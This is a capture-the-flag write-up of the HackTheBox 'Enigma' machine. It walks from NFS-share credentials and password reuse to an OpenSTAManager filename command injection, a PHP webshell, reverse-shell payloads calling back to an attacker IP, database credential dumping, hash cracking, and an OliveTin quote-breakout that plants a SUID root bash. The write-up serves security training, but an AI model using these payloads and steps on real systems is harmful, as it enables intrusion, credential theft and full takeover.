HackTheBox — Enigma"

The real path is **password reuse** across the email accounts + a web-app exploit. So the next move is: reuse The `password` on the other mailboxes and read email to find internal app creds.

HackTheBox — Enigma"

HackTheBox — Enigma (Easy / Linux) — Full Writeup & Methodology Notes

Initial situation (what was already known)

  • nmap showed: 22 (SSH), 80 (nginx -> enigma.htb), 110/143/993/995 (POP3/IMAP dovecot), 111/2049 (rpcbind/NFS), plus NFS export /srv/nfs/onboarding.
  • NFS share was already mounted locally at /home/neo/pro/htb/enigma/enigma-nfs.
  • Inside it: New_Employee_Access.pdf -> creds kevin:Enigma2024! for webmail at mail001.enigma.htb.
  • Logged into webmail as kevin, found a welcome email from sarah saying IT would deliver access creds “via the company shared drive” (i.e. the NFS share). That was the misdirection — the PDF on the NFS share was the delivered credential.

Thinking at this stage

The “shared drive” is just the NFS export. The PDF already gave kevin. The real path is password reuse across the email accounts + a web-app exploit. So the next move is: reuse Enigma2024! on the other mailboxes (sarah) and read email to find internal app creds.


Hosts file & VPN connectivity check

enigma.htb resolved -> we are connected.

add the vhosts to /etc/hosts:

1
echo "10.129.63.105 enigma.htb mail001.enigma.htb support_001.enigma.htb" | sudo tee -a /etc/hosts

NMAP show the open port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp  open  pop3     Dovecot pop3d
|_pop3-capabilities: UIDL STLS SASL PIPELINING CAPA RESP-CODES TOP AUTH-RESP-CODE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
111/tcp  open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      39723/tcp6  mountd
|   100005  1,2,3      55767/udp6  mountd
|   100005  2,3        33367/tcp   mountd
|   100005  2,3        53191/udp   mountd
|   100021  1,3,4      35461/tcp   nlockmgr
|   100021  1,3,4      36271/tcp6  nlockmgr
|   100021  1,3,4      54413/udp6  nlockmgr
|   100021  1,3,4      55950/udp   nlockmgr
|   100024  1          43814/udp   status
|   100024  1          49927/tcp6  status
|   100024  1          50631/tcp   status
|   100024  1          56042/udp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
143/tcp  open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: capabilities ENABLE IDLE more ID OK have IMAP4rev1 post-login LOGINDISABLEDA0001 SASL-IR listed Pre-login LITERAL+ STARTTLS LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
993/tcp  open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: capabilities ENABLE IDLE ID OK more IMAP4rev1 AUTH=PLAINA0001 have SASL-IR post-login listed Pre-login LITERAL+ LOGIN-REFERRALS
995/tcp  open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_pop3-capabilities: UIDL TOP SASL(PLAIN) PIPELINING CAPA RESP-CODES USER AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs_acl  3 (RPC #100227)

HTTP(80)

HTTP service

FUZZING try to fuzz

try to fuzz the dir but notheing found in this domain so, i pass it to sub-domains fuzz and it have a lot of sub-domain like that are create in mass. so i pass on to other port that othe port that is intersting was the nts

share drive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo showmount -e 10.129.66.128
Export list for 10.129.66.128:
/srv/nfs/onboarding *
                                                                                                          
┌──(neo㉿neo)-[~/pro/enigma]
└─$ sudo mount 10.129.66.128:/srv/nfs/onboarding /home/neo/pro/enigma/nts
                                                                                                          
┌──(neo㉿neo)-[~/pro/enigma]
└─$ cd nts   
                                                                                                          
┌──(neo㉿neo)-[~/pro/enigma/nts]
└─$ ls
New_Employee_Access.pdf
                                                                                                          
┌──(neo㉿neo)-[~/pro/enigma/nts]
└─$ 

in this pdf i what the username and password for a mail server IMAP

1
2
3
4
Webmail Access
URL: http://mail001.enigma.htb
Username: kevin
Password: Enigma2024!

login

Webmail login Webmail login backup

Reading Sarah’s mailbox via IMAP (password reuse)

Theory: kevin:Enigma2024! -> try same password on sarah. Connected to Dovecot IMAP (STARTTLS on 143) and read the inbox. Sarah inbox WORKED. Logged in as sarah. One email from it@enigma.htb (“Re: OpenSTAManager Access Request”) contained: Email content

1
2
3
URL:      http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s

This is the pivot OpenSTAManager admin access. OpenSTAManager access

OpenSTAManager recon & login

Confirmed the web app is OpenSTAManager 2.9.8:

1
curl -s "http://support_001.enigma.htb/" | grep -iE "openstamanager|2\.9\.[0-9]+"

Login

OpenSTAManager login

Locating the importFE_ZIP plugin (several dead ends)

The plan was to exploit CVE-2025-69212 (command injection in the P7M decoder, triggered by uploading a ZIP with a malicious .p7m filename). Needed the correct upload endpoint + module/plugin IDs.

Confirming id_module / id_plugin from the live UI

Mapped dashboard module IDs to labels with a small Python regex over dash.html. id_module=14 = “Sales invoices” (where the FE import plugin attaches). Then fetched controller.php?id_module=14 and inspected the JS around the blob1 file input, which revealed the exact AJAX submit:

1
2
3
4
5
$("#upload1").ajaxSubmit({
    url: globals.rootdir + "/actions.php",
    data: { op: "save", id_module: "14", id_plugin: "48" },
    type: "post", ...
});

So the upload is: POST /actions.php with fields op=save, id_module=14, id_plugin=48, file field blob1. Upload endpoint

In the UI import

UI import

fully automated

https://github.com/b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751.git

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ ./OpenSTAManager-RCE-Exploit-CVE-2026-38751 --url http://support_001.enigma.htb/ -U admin -P Ne3s4rtars78s --lhost 10.10.14.137 --lport 4444

[ OpenSTAManager RCE Exploit : ]

Target: http://support_001.enigma.htb/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://support_001.enigma.htb/modules/shell/shell.php
[+] Test: http://support_001.enigma.htb/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.137:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.137/4444 0>&1'
[-] Payload failed: error sending request for url (http://support_001.enigma.htb/modules/shell/shell.php?c=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.137%2F4444+0%3E%261%27): operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: error sending request for url (http://support_001.enigma.htb/modules/shell/shell.php?c=python3+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.137%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%27): operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.239.191:58122
[*] Sent 'script /dev/null -c bash'
...
www-data@enigma:~/html/openstamanager/modules/shell$

how the script is Building the malicious ZIP & achieving RCE (CVE-2025-69212)

The payload filename ends in .p7m (so it is processed) and breaks out of the double-quoted exec() argument:

1
invoice.p7m";echo '<?php system($_GET["c"]); ?>' > SHELL.php;echo ".p7m

Built with Python (no / in the command):

1
2
3
4
5
import zipfile
cmd = "echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('/tmp/exploit.zip','w',zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(malicious, b"DUMMY_P7M_CONTENT")

Enumratinge the cofings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@enigma:~/html/openstamanager$ cat config.inc.php
cat config.inc.php
<?php

/*
 * OpenSTAManager: il software gestionale open source per l'assistenza tecnica e la fatturazione
 * Copyright (C) DevCode s.r.l.
 *
...
 */

// Impostazioni di base per l'accesso al database
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
// $port = '|port|';
$db_options = [
    // 'sort_buffer_size' => '2M',
];

the mysql

1
2
3
4
5
6
7

```bash
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';

Enumerating MySQL & cracking the user hash

Read the app DB config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
www-data@enigma:~/html/openstamanager$ mysql -h localhost -u brollin -p'Fri3nds@9099'
<ger$ mysql -h localhost -u brollin -p'Fri3nds@9099'
..
mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| openstamanager     |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql> USE openstamanager;
USE openstamanager;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> 	SHOW TABLE;
SHOW TABLE;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> SHOW TABLES;
SHOW TABLES;
+---------------------------------+
| Tables_in_openstamanager        |
+---------------------------------+
| an_anagrafiche                  |
| an_anagrafiche_agenti           |
| an_assicurazione_crediti        |
| an_mansioni                     |
| an_nazioni                      |
...
| zz_tasks_lang                   |
| zz_tasks_logs                   |
| zz_tokens                       |
| zz_user_sedi                    |
| zz_users                        |
| zz_views                        |
| zz_views_lang                   |
| zz_widgets                      |
| zz_widgets_lang                 |
+---------------------------------+
221 rows in set (0.00 sec)

mysql> SELECT * FROM zz_users;
SELECT * FROM zz_users;
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
| id | username | password                                                     | email            | idanagrafica | idgruppo | enabled | created_at          | updated_at          | reset_token | image_file_id | options |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
|  1 | admin    | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu | admin@enigma.htb |            1 |        1 |       1 | 2026-02-18 19:26:52 | 2026-02-18 19:26:52 | NULL        |          NULL |         |
|  2 | haris    | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC | haris@enigma.htb |            1 |        5 |       1 | 2026-02-18 20:58:28 | 2026-05-26 11:07:03 | NULL        |          NULL |         |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
2 rows in set (0.00 sec)

Fixed — correct table zz_users

1
2
3
run "mysql -u brollin -p'Fri3nds@9099' openstamanager -N -e 'SELECT username,password FROM zz_users;'"
# admin  $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu
# haris  $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC

Both are bcrypt ($2y$10$...). Cracked haris’s hash.

Cracking — hashcat FAILED

1
2
3
echo '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC' > haris.hash
hashcat -m 3200 -a 0 haris.hash /usr/share/wordlists/rockyou.txt
# clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR  -> no OpenCL/GPU

Cracking — John the Ripper WORKED (CPU)

1
2
john --wordlist=/usr/share/wordlists/rockyou.txt haris.hash
# bestfriends      (?)

=> haris:bestfriends The admin not Found —

User shell & USER flag

Switched to haris via the www-data webshell (su accepts password on stdin):

1
2
3
www-data@enigma:~/html/openstamanager/modules/shell$ su haris
su haris
Password: bestfriends

USER FLAG: 341977a8f2a...........a96732

Enumration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
haris@enigma:~$ ls -la mail      
ls -la mail
total 12
drwx------ 3 haris haris 4096 Jun 23 14:14 .
drwxr-x--- 5 haris haris 4096 Jul 10 03:00 ..
drwx------ 3 haris haris 4096 Jun 23 14:14 .imap
haris@enigma:~$ ls -la mail/.imap
ls -la mail/.imap
total 20
drwx------ 3 haris haris 4096 Jun 23 14:14 .
drwx------ 3 haris haris 4096 Jun 23 14:14 ..
-rw------- 1 haris haris  452 Feb 18 20:53 dovecot.list.index.log
-rw------- 1 haris haris    8 Feb 18 20:53 dovecot-uidvalidity
-r--r--r-- 1 haris haris    0 Feb 18 20:53 dovecot-uidvalidity.699626e7
drwx------ 2 haris haris 4096 Jul 10 03:00 INBOX
haris@enigma:~$ ls -la mail/.imap/INBOX
ls -la mail/.imap/INBOX
total 16
drwx------ 2 haris haris 4096 Jul 10 03:00 .
drwx------ 3 haris haris 4096 Jun 23 14:14 ..
-rw------- 1 haris haris  152 Feb 18 20:53 dovecot.index.log
-rw------- 1 haris haris  158 Jul 10 03:00 dovecot.index.log.save

the open ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
haris@enigma:~$ ss -tlnp
ss -tlnp
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      4096         0.0.0.0:41683      0.0.0.0:*          
...      
LISTEN 0      4096      127.0.0.54:53         0.0.0.0:*          
LISTEN 0      64           0.0.0.0:38465      0.0.0.0:*          
LISTEN 0      4096         0.0.0.0:57099      0.0.0.0:*          
LISTEN 0      4096       127.0.0.1:1337       0.0.0.0:*          
LISTEN 0      4096         0.0.0.0:38001      0.0.0.0:*          
LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*          
...          
LISTEN 0      4096            [::]:40871         [::]:*          
LISTEN 0      64              [::]:40397         [::]:*          
haris@enigma:~$ 

LISTEN 127.0.0.1:1337 <– localhost only

more importantly focesing on the http web server that is hosting port (1337) when we curl the page we found it is OliveTin so.

8. Privilege escalation via OliveTin (root)

Enumerated as haris:

1
2
ps aux | grep -i olivetin | grep -v grep
root  1440  /usr/local/bin/OliveTin      <-- runs as root
1
2
3
4
5
cat /etc/OliveTin/config.yaml
# authRequireGuestsToLogin: false
# defaultPermissions: view: true, exec: true, logs: true
# action "Backup Database" id: backup_database
#   shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"

Misconfiguration: guests can execute actions, and the db_pass argument is inserted inside single quotes in a shell command -> quote breakout = command injection as root.

Exploit delivery — first attempt FAILED (400 Bad Request)

Posted arguments as a JSON object/map:

1
{"actionId":"backup_database","arguments":{"db_user":"backup_svc","db_name":"production","db_pass":"x'; ...; #"}}

-> HTTP Error 400: Bad Request. The OliveTin grpc-gateway expects arguments as an array of {name,value} objects, not a map.

Exploit delivery — fixed (WORKED)

Used array form. To avoid shell-quoting hell through the webshell, the Python exploit was base64-encoded and piped into python3 on the target:

1
2
3
4
5
6
7
8
9
10
11
import urllib.request, json
inj = "x'; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb; cat /root/root.txt; #"
payload = {"actionId":"backup_database",
  "arguments":[{"name":"db_user","value":"backup_svc"},
               {"name":"db_name","value":"production"},
               {"name":"db_pass","value":inj}]}
data = json.dumps(payload).encode()
req = urllib.request.Request(
  "http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait",
  data=data, headers={"Content-Type":"application/json"})
print(urllib.request.urlopen(req, timeout=30).read().decode())

Run as haris:

1
2
B64=$(base64 -w0 olivetin_exploit.py)
printf 'bestfriends\n' | su haris -c 'echo $B64 | base64 -d | python3'

The rendered command becomes:

1
mysqldump -u backup_svc -p'x'; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb; cat /root/root.txt; #' production > /opt/backups/backup.sql

The cat /root/root.txt output is returned in the API response output field:

1
690a84............f76f6d3ed7a

ROOT FLAG: 690a8479043............6f6d3ed7a

Also dropped a SUID root bash at /tmp/rb for a full root shell.

Root shell confirmation

1
2
3
/tmp/rb -p -c \"id; cat /root/root.txt\
# uid=1000(haris) gid=1000(haris) euid=0(root) ...
# 690a847.......6f6d3ed7a

Attack chain (condensed)

  1. NFS share /srv/nfs/onboarding -> New_Employee_Access.pdf -> kevin:Enigma2024!.
  2. Password reuse sarah:Enigma2024! on IMAP -> IT email with OpenSTAManager admin creds admin:Ne3s4rtars78s (support_001.enigma.htb).
  3. OpenSTAManager 2.9.8 — CVE-2025-69212: upload ZIP w/ malicious .p7m filename -> command injection in src/Util/XML.php -> PHP webshell at /files/SHELL.php as www-data.
  4. config.inc.php -> MySQL brollin:Fri3nds@9099 -> zz_users -> crack haris bcrypt -> bestfriends.
  5. su haris -> USER flag.
  6. OliveTin (root, localhost:1337, guest exec enabled) — Backup Database action db_pass injection -> ROOT flag + SUID /tmp/rb.

Things that did NOT work

  • sudo tee -a /etc/hosts — no sudo/TTY; not needed (hosts already set).
  • OpenSTAManager login POST to / with login=Login — stayed on login page; correct action is ?op=login.
  • Guessing plugin PHP source paths under /plugins/importFE_ZIP/ — 404/empty.
  • Reading module IDs from dashboard “Import”/”carica” grep — too noisy; solved by inspecting the blob1 AJAX JS instead.
  • Assuming webshell at web root /SHELL.php — actually at /files/SHELL.php.
  • MySQL query on table utenti — wrong; correct table is zz_users.
  • hashcat — no OpenCL/GPU; switched to john.
  • OliveTin API with arguments as a map — 400; must be an array of {name,value}.
This post is licensed under CC BY 4.0 by the author.